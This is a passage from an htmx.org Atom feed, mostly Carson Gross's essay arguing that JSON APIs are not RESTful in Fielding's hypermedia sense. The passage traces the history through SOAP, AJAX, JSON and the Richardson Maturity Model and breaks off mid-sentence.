&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;minijinja&#x2F;latest&#x2F;minijinja&#x2F;struct.State.html#method.render_block&quot;&gt;MiniJinja&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;askama.readthedocs.io&#x2F;en&#x2F;stable&#x2F;template_syntax.html#block-fragments&quot;&gt;Askama&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Raku
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;croservices&#x2F;cro-website&#x2F;blob&#x2F;main&#x2F;docs&#x2F;reference&#x2F;cro-webapp-template-syntax.md#fragments&quot;&gt;Cro Templates&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Please &lt;a href=&quot;&#x2F;discord&quot;&gt;let me know&lt;&#x2F;a&gt; if you know of others, so I can add them to this list.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How Did REST Come To Mean The Opposite of REST?</title>
        <published>2022-07-18T00:00:00+00:00</published>
        <updated>2022-11-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/how-did-rest-come-to-mean-the-opposite-of-rest/"/>
        <id>https://htmx.org/essays/how-did-rest-come-to-mean-the-opposite-of-rest/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/how-did-rest-come-to-mean-the-opposite-of-rest/">&lt;style&gt;
  pre {
        margin: 32px !important;
  }
&lt;&#x2F;style&gt;
&lt;h2 id=&quot;tapping-the-sign&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tapping-the-sign&quot; aria-label=&quot;Anchor link for: tapping-the-sign&quot;&gt;Tapping The Sign&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;img src=&quot;&#x2F;img&#x2F;tap-the-sign.png&quot; alt=&quot;You are wrong&quot; style=&quot;width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px&quot;&gt;
&lt;blockquote&gt;
&lt;p&gt;I am getting frustrated by the number of people calling any HTTP-based interface a REST API. Today’s example is the
SocialSite REST API. That is RPC. It screams RPC. There is so much coupling on display that it should be given an
X rating.&lt;&#x2F;p&gt;
&lt;p&gt;What needs to be done to make the REST architectural style clear on the notion that hypertext is a constraint? In
other words, if the engine of application state (and hence the API) is not being driven by hypertext, then it cannot
be RESTful and cannot be a REST API. Period. Is there some broken manual somewhere that needs to be fixed?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;–Roy Fielding, Creator of the term REST&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;   &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;roy.gbiv.com&#x2F;untangled&#x2F;2008&#x2F;rest-apis-must-be-hypertext-driven&quot;&gt;REST APIs must be hypertext-driven&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Representational_state_transfer&quot;&gt;REST&lt;&#x2F;a&gt; must be the most broadly misused technical term
in computer programming history.&lt;&#x2F;p&gt;
&lt;p&gt;I can’t think of anything else that comes close.&lt;&#x2F;p&gt;
&lt;p&gt;Today, when someone uses the term REST, they are nearly always discussing a JSON-based API using HTTP.&lt;&#x2F;p&gt;
&lt;p&gt;When you see a job post mentioning REST or a company discussing &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;microsoft&#x2F;api-guidelines&#x2F;blob&#x2F;vNext&#x2F;Guidelines.md&quot;&gt;REST Guidelines&lt;&#x2F;a&gt;
they will rarely mention either hypertext or hypermedia: they will instead mention JSON, GraphQL(!) and the like.&lt;&#x2F;p&gt;
&lt;p&gt;Only a few obstinate folks grumble: but these JSON APIs aren’t RESTful!&lt;&#x2F;p&gt;
&lt;iframe src=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;embed&#x2F;HOK6mE7sdvs&quot; title=&quot;Doesn&#x27;t anyone notice this?&quot;
        frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope&quot;
        style=&quot;width: 400px;height:300px;margin-left:15%;margin-top: 16px;margin-bottom: 16px&quot;&gt;
&lt;&#x2F;iframe&gt;
&lt;p&gt;In this post, I’d like to give you a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;james-iry.blogspot.com&#x2F;2009&#x2F;05&#x2F;brief-incomplete-and-mostly-wrong.html&quot;&gt;brief, incomplete and mostly wrong&lt;&#x2F;a&gt;
history of REST, and how we got to a place where its meaning has been nearly perfectly inverted to mean what REST was
originally contrasted with: RPC.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;where-did-rest-come-from&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#where-did-rest-come-from&quot; aria-label=&quot;Anchor link for: where-did-rest-come-from&quot;&gt;Where Did REST Come From?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The term REST, short for REpresentational State Transfer, came from
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm&quot;&gt;Chapter 5 of Fielding’s PhD Dissertation&lt;&#x2F;a&gt;.
Fielding was describing the network architecture of the (then new) world wide web, and contrasting it with other possible
network architectures, particularly RPC-style network architectures.&lt;&#x2F;p&gt;
&lt;p&gt;It is important to understand that, at the time of his writing (1999-2000), there were no JSON APIs: he was describing
the web as it existed at that time, with HTML being exchanged over HTTP as people “surfed the web”.  JSON hadn’t been
created yet, and broad adoption of JSON was a decade off.&lt;&#x2F;p&gt;
&lt;p&gt;REST described a &lt;em&gt;network architecture&lt;&#x2F;em&gt;, and it was defined in terms of &lt;em&gt;constraints&lt;&#x2F;em&gt; on an API, constraints that
needed to be met in order to be considered a RESTful API.  The language is academic, which has contributed to the
confusion around the topic, but it is clear enough that most developers should be able to understand it.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-crux-of-rest-the-uniform-interface-hateoas&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-crux-of-rest-the-uniform-interface-hateoas&quot; aria-label=&quot;Anchor link for: the-crux-of-rest-the-uniform-interface-hateoas&quot;&gt;The Crux of REST: The Uniform Interface &amp;amp; HATEOAS&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;REST has many constraints and concepts within it, but there is one crucial idea that I believe is the defining and
most distinguishing characteristic of REST, when contrasted with other possible network architectures.&lt;&#x2F;p&gt;
&lt;p&gt;This is known as the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Representational_state_transfer#Uniform_interface&quot;&gt;uniform interface constraint&lt;&#x2F;a&gt;,
and more specifically within that concept, the idea of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;Hypermedia As The Engine of Application State (HATEOAS)&lt;&#x2F;a&gt;
or as Fielding prefers to call it, the hypermedia constraint.&lt;&#x2F;p&gt;
&lt;p&gt;In order to understand this uniform interface constraint, lets consider two HTTP responses returning information about a
bank account, the first in HTML (a hypertext) and the second in JSON:&lt;&#x2F;p&gt;
&lt;h4 id=&quot;an-html-response&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#an-html-response&quot; aria-label=&quot;Anchor link for: an-html-response&quot;&gt;An HTML Response&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;HTTP&#x2F;1.1 200 OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Account number: 12345&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Balance: $100.00 USD&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Links:
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;deposits&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;deposits&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;withdrawals&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;withdrawals&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;transfers&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;transfers&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;accounts&#x2F;12345&#x2F;close-requests&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;close-requests&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;a-json-response&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-json-response&quot; aria-label=&quot;Anchor link for: a-json-response&quot;&gt;A JSON Response&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;HTTP&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;1.1 200&lt;&#x2F;span&gt;&lt;span&gt; OK
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;account_number&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;12345&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;balance&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: {
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;currency&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;usd&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;100.00
&lt;&#x2F;span&gt;&lt;span&gt;     },
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;status&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;good&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The crucial difference between these two responses, and why the &lt;em&gt;HTML response&lt;&#x2F;em&gt; is RESTful, but the
&lt;em&gt;JSON response&lt;&#x2F;em&gt; is not, is this:&lt;&#x2F;p&gt;
&lt;p style=&quot;margin:32px;text-align: center;font-weight: bold&quot;&gt;The HTML response is entirely self-describing.&lt;&#x2F;p&gt;
&lt;p&gt;A proper hypermedia client that receives this response does not know what a bank account is, what a
balance is, etc.  It simply knows how to render a hypermedia, HTML.&lt;&#x2F;p&gt;
&lt;p&gt;The client knows nothing about the API end points associated with this data, except via URLs and hypermedia controls
(links and forms) discoverable within the HTML itself.  If the state of the resource changes such that the allowable
actions available on that resource change (for example, if the account goes into overdraft) then the HTML response would
change to show the new set of actions available.&lt;&#x2F;p&gt;
&lt;p&gt;The client would render this new HTML, totally unaware of what “overdraft” means or, indeed, even what a bank account is.&lt;&#x2F;p&gt;
&lt;p&gt;It is in this manner that hypertext is the engine of application state: the HTML response “carries along” all the API
information necessary to continue interacting with the system directly within itself.&lt;&#x2F;p&gt;
&lt;p&gt;Now, contrast that with the second JSON response.&lt;&#x2F;p&gt;
&lt;p&gt;In this case the message is &lt;em&gt;not&lt;&#x2F;em&gt; self describing.  Rather, the client must know how to interpret the &lt;code&gt;status&lt;&#x2F;code&gt; field to
display an appropriate user interface.  Further, the client must know what actions are available on the account based on
“out-of-band” information, that is, information on the URLs, parameters and so forth, derived from another source of
information &lt;em&gt;outside of the response&lt;&#x2F;em&gt;, such as swagger API documentation.&lt;&#x2F;p&gt;
&lt;p&gt;The JSON response is not self-describing and does not encode the state of the resource within a hypermedia.  It therefore
fails the uniform interface constraint of REST, and, thus, is not RESTful.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;inventor-restful-apis-must-be-hypermedia-driven&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#inventor-restful-apis-must-be-hypermedia-driven&quot; aria-label=&quot;Anchor link for: inventor-restful-apis-must-be-hypermedia-driven&quot;&gt;Inventor: RESTful APIs Must Be Hypermedia Driven&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;In &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;roy.gbiv.com&#x2F;untangled&#x2F;2008&#x2F;rest-apis-must-be-hypertext-driven&quot;&gt;Rest APIs Must Be Hypermedia Driven&lt;&#x2F;a&gt;, Fielding
goes on to say:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;A REST API should be entered with no prior knowledge beyond the initial URI (bookmark) and set of standardized media
types that are appropriate for the intended audience (i.e., expected to be understood by any client that might use the
API). From that point on, all application state transitions must be driven by client selection of server-provided
choices that are present in the received representations or implied by the user’s manipulation of those representations.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;So, in a RESTful system, you should be able to enter the system through a single URL and, from that point on, all navigation
and actions taken within the system should be entirely provided through self-describing hypermedia: through links and
forms in HTML, for example.  Beyond the entry point, in a proper RESTful system, the API client shouldn’t need any
additional information about your API.&lt;&#x2F;p&gt;
&lt;p&gt;This is the source of the incredible flexibility of RESTful systems:  since all responses are self describing and
encode all the currently available actions available there is no need to worry about, for example, versioning your API!
In fact, you don’t even need to document it!&lt;&#x2F;p&gt;
&lt;p&gt;If things change, the hypermedia responses change, and that’s it.&lt;&#x2F;p&gt;
&lt;p&gt;It’s an incredibly flexible and innovative concept for building distributed systems.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;industry-lol-no-restful-apis-are-json&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#industry-lol-no-restful-apis-are-json&quot; aria-label=&quot;Anchor link for: industry-lol-no-restful-apis-are-json&quot;&gt;Industry: Lol, No, RESTful APIs Are JSON&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Today, most web developers and most companies would call the &lt;em&gt;second example&lt;&#x2F;em&gt; a RESTful API.&lt;&#x2F;p&gt;
&lt;p&gt;They probably wouldn’t even regard the first response &lt;em&gt;as an API response&lt;&#x2F;em&gt;.  It’s just HTML!&lt;&#x2F;p&gt;
&lt;p&gt;(Poor HTML, can’t get no respect.)&lt;&#x2F;p&gt;
&lt;p&gt;APIs are always JSON or maybe, if you are fancy, something like Protobuf, right?&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;img&#x2F;you-are-wrong.png&quot; alt=&quot;You are wrong&quot; style=&quot;width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px&quot;&gt;
&lt;p&gt;Wrong.&lt;&#x2F;p&gt;
&lt;p&gt;You are all wrong and you should feel bad.&lt;&#x2F;p&gt;
&lt;p&gt;The first response &lt;em&gt;is&lt;&#x2F;em&gt; an API response, and, in fact, the one that is RESTful!&lt;&#x2F;p&gt;
&lt;p&gt;The second response is, in fact, a &lt;em&gt;Remote Procedure Call&lt;&#x2F;em&gt; (RPC) style of API.  The client and the server are coupled,
just like the SocialSite API Fielding complained about back in 2008: a client needs to have additional knowledge about
the resource it is working with that must be derived from some other source beyond the JSON response itself.&lt;&#x2F;p&gt;
&lt;p&gt;This API is, in spirit, nearly the opposite of REST.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s call this style of API “RESTless”.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-rest-came-to-mean-restless&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#how-rest-came-to-mean-restless&quot; aria-label=&quot;Anchor link for: how-rest-came-to-mean-restless&quot;&gt;How “REST” came to mean “RESTless”&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Now, how on earth did we get to a spot where APIs that are &lt;em&gt;obviously&lt;&#x2F;em&gt; not RESTful are called RESTful by 99.9% of the
industry?&lt;&#x2F;p&gt;
&lt;p&gt;It’s a funny story:&lt;&#x2F;p&gt;
&lt;p&gt;Roy Fielding published his dissertation in 2000.&lt;&#x2F;p&gt;
&lt;p&gt;Around the same time, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;XML-RPC&quot;&gt;XML-RPC&lt;&#x2F;a&gt;, an explicitly RPC-inspired protocol was released
and started to gather steam as a method to build APIs using HTTP.  XML-RPC was part of a larger project called
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;SOAP&quot;&gt;SOAP&lt;&#x2F;a&gt;, from Microsoft.  XML-RPC came out of a long tradition of RPC-style
protocols, mainly from the enterprise world, with a lot of static typing and early XML-maximalism thrown in as well.&lt;&#x2F;p&gt;
&lt;p&gt;Also arriving at this moment was &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Ajax_(programming)&quot;&gt;AJAX&lt;&#x2F;a&gt;, or Asynchronous
JavaScript and XML.  Note well the XML here.  AJAX, as everyone now knows, allows browsers to issue HTTP requests
to the server in the background and process the response directly in JavaScript, opening up a whole new world of
programming for the web.&lt;&#x2F;p&gt;
&lt;p&gt;The question was: what should those requests look like?  They were obviously going to be XML.  Look, it’s right there
in the name.  And this new SOAP&#x2F;XML-RPC standard was out, maybe that was the right thing?&lt;&#x2F;p&gt;
&lt;h3 id=&quot;maybe-rest-can-work-for-web-services&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#maybe-rest-can-work-for-web-services&quot; aria-label=&quot;Anchor link for: maybe-rest-can-work-for-web-services&quot;&gt;Maybe REST can work for Web Services?&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Some people noticed that the web had this different sort of architecture that Fielding had described, and began to ask
if REST, rather than SOAP, should be the preferred mechanism for accessing what were coming to be called “Web Services”.
The web was proving to be extremely flexible and growing gang busters, so maybe the same network architecture, REST, that
was working so well for browsers &amp;amp; humans would work well for APIs.&lt;&#x2F;p&gt;
&lt;p&gt;It sounded plausible, especially when XML was the format for APIs: XML sure &lt;em&gt;looks&lt;&#x2F;em&gt; an awful lot like HTML, doesn’t it?
You can imagine an XML API satisfying all of the RESTful constraints, up to and including the uniform interface.&lt;&#x2F;p&gt;
&lt;p&gt;So people began exploring this route as well.&lt;&#x2F;p&gt;
&lt;p&gt;While all this was happening, another important technology was in the process of being born: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.json.org&#x2F;json-en.html&quot;&gt;JSON&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;JSON was (literally) JavaScript to SOAP&#x2F;RPC-XML’s Java: simple, dynamic and easy.  It’s hard to believe now,
when JSON is the dominant format for most web APIs, but it actually took a while for JSON to catch on.  As late as 2008,
discussions around API development were mainly around XML, not JSON.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;formalizing-rest-apis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#formalizing-rest-apis&quot; aria-label=&quot;Anchor link for: formalizing-rest-apis&quot;&gt;Formalizing REST APIs&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;In 2008, Martin Fowler published an article popularizing the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;martinfowler.com&#x2F;articles&#x2F;richardsonMaturityModel.html&quot;&gt;Richardson Maturity Model&lt;&#x2F;a&gt;,
a model to determine how RESTful a given API was.&lt;&#x2F;p&gt;
&lt;p&gt;The model proposed four “levels”, with the first level being Plain Old XML, or The Swamp of POX.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;img&#x2F;rmm.png&quot; alt=&quot;Richardson Maturity Model&quot; style=&quot;width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px&quot;&gt;
&lt;p&gt;From there, an API could be considered more “mature” as a REST API as it adopted the following ideas:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Level 1: Resources (e.g. a resource-aware URL layout, contrasted with an opaque URL layout as in XML-RPC)&lt;&#x2F;li&gt;
&lt;li&gt;Level 2: HTTP Verbs (using &lt;code&gt;GET&lt;&#x2F;code&gt;, &lt;code&gt;POST&lt;&#x2F;code&gt;, &lt;code&gt;DELETE&lt;&#x2F;code&gt;, etc. properly)&lt;&#x2F;li&gt;
&lt;li&gt;Level 3: Hypermedia Controls (e.g. links)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Level 3 is where the uniform interface comes in, which is why this level is considered the most mature and truly “The
Glory of REST”&lt;&#x2F;p&gt;
&lt;h3 id=&quot;rest-wins-kinda&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#rest-wins-kinda&quot; aria-label=&quot;Anchor link for: rest-wins-kinda&quot;&gt;“REST” Wins, Kinda…&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Unfortunately for the term REST, two things happened at this time:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Everyone switched to JSON&lt;&#x2F;li&gt;
&lt;li&gt;Everyone stopped at Level 2 of the RMM&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;JSON rapidly took over the web service&#x2F;API world because SOAP&#x2F;XML-RPC was so dramatically over-engineered.  JSON was simple,
“just worked” and was easy to read and understand.&lt;&#x2F;p&gt;
&lt;p&gt;With this change, the web development world threw off the shackles of the
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Jakarta_EE&quot;&gt;J2EE mindset&lt;&#x2F;a&gt; conclusively, relegating SOAP&#x2F;XML-RPC to an enterprise-only affair.&lt;&#x2F;p&gt;
&lt;p&gt;Since the REST approach wasn’t as tied to XML as SOAP&#x2F;XML-RPC was, and since it didn’t impose as much formality on
end points, REST was the natural place for JSON to take over.  And it did so, rapidly.&lt;&#x2F;p&gt;
&lt;p&gt;During this crucial change, something became increasingly clear: most JSON APIs were stopping at Level 2 of the RMM.&lt;&#x2F;p&gt;
&lt;p&gt;Some pushed through to Level 3 by incorporating hypermedia controls in their responses, but nearly all these APIs still
needed to publish documentation, indicating that the “Glory of REST” was not being achieved.&lt;&#x2F;p&gt;
&lt;p&gt;JSON taking over as the response format should have been a strong hint as well: JSON is obviously not a hypertext.  You
can impose hypermedia controls on top of it, but it isn’t natural.  XML at least &lt;em&gt;looked&lt;&#x2F;em&gt; like HTML, kinda, so it was
plausible that you could create a hypermedia with it.&lt;&#x2F;p&gt;
&lt;p&gt;JSON was just… data.  Adding hypermedia controls was awkward, non-standardized and rarely used in the manner described
by the uniform interface constraint.&lt;&#x2F;p&gt;
&lt;p&gt;Despite these difficulties, the term REST stuck: REST was the opposite of SOAP, JSON APIs weren’t SOAP, therefore
JSON APIs were REST.&lt;&#x2F;p&gt;
&lt;p&gt;That’s the one sentence version of how we got here.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-rest-wars&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-rest-wars&quot; aria-label=&quot;Anchor link for: the-rest-wars&quot;&gt;The REST Wars&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Despite the JSON API world never consistently achieving truly RESTful APIs, there were plenty of fights over whether
